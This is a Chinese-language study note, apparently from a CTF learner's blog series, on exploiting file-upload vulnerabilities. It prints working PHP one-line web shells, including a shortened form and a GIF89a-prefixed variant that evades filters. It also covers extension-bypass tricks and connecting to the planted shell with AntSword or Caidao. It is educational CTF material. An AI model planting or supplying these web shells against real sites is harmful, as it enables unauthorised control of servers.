web安全学习(6)文件上传漏洞
最近做web题的时候遇到的文件上传题型。
概括
题就很明显,就是让上传一个文件,一般都是要求图片格式 但是它接收的时候由于条件限制或者是筛查不严导致有漏洞可以利用 具体的利用方式要看它后端的接收语言和限制条件
目前我做到的只有PHP类型的,但是我想其他类型大概也是一样的方法 如果不知道的话可以先随便上传一个文件,然后burp抓包看一下 总体来说就是利用一句话木马然后再用蚁剑或者菜刀来获得webshell
利用方法
将木马写入txt,上传,然后burp抓包更改文件格式
PHP一句话木马:
eval(): <?php @eval($_POST['hacker']); ?>
上传成功后就打开蚁剑或者菜刀来获取webshell 我一般用的是蚁剑,利用方式如下
右键,点击添加数据 在url地址处写上传后文件所在地址加上上传的文件名 比如你上传的地址是127.0.0.1:3366/upload 上传的文件名是1.txt 那你的url处就应该是http://127.0.0.1:3366/upload/1.txt 连接密码处的内容就是你一句话木马中eval($_POST[‘hacker’])单引号里的内容 我这里是hacker 那填写的就应该是hacker 其他选项默认 然后可以测试连接一下,显示成功就点击添加 然后连接webshell成功,就可以查看修改网站里的内容了
限制类型
但是这是最基本的上传方式,一般来说都会有限制条件 包括内容限制,后缀名限制等
内容限制
就是限制上传文件的内容
有的时候会限制上传文件的大小 这时就需要对一句话木马就行修改,删除些内容,也就是简写木马 PHP一句话木马可以简写为:
<?@eval($_POST[0])?>
有的时候还会对里面写的东西进行筛选 比如我就遇到过内容检测不允许有’<?’ 这时候一句话木马可以为:
GIF89a? < script language=“php”>eval($_REQUEST[1]) < /script>
后缀名限制
这个就比较变态了,需要自己去试 就有时候直接上传php不行 可以将后缀名改为jpg.php、png.php 有时候需要多加几个后缀 jpg.jpg.php、jpg.jpg.jpg.php 这个就只有自己试了
|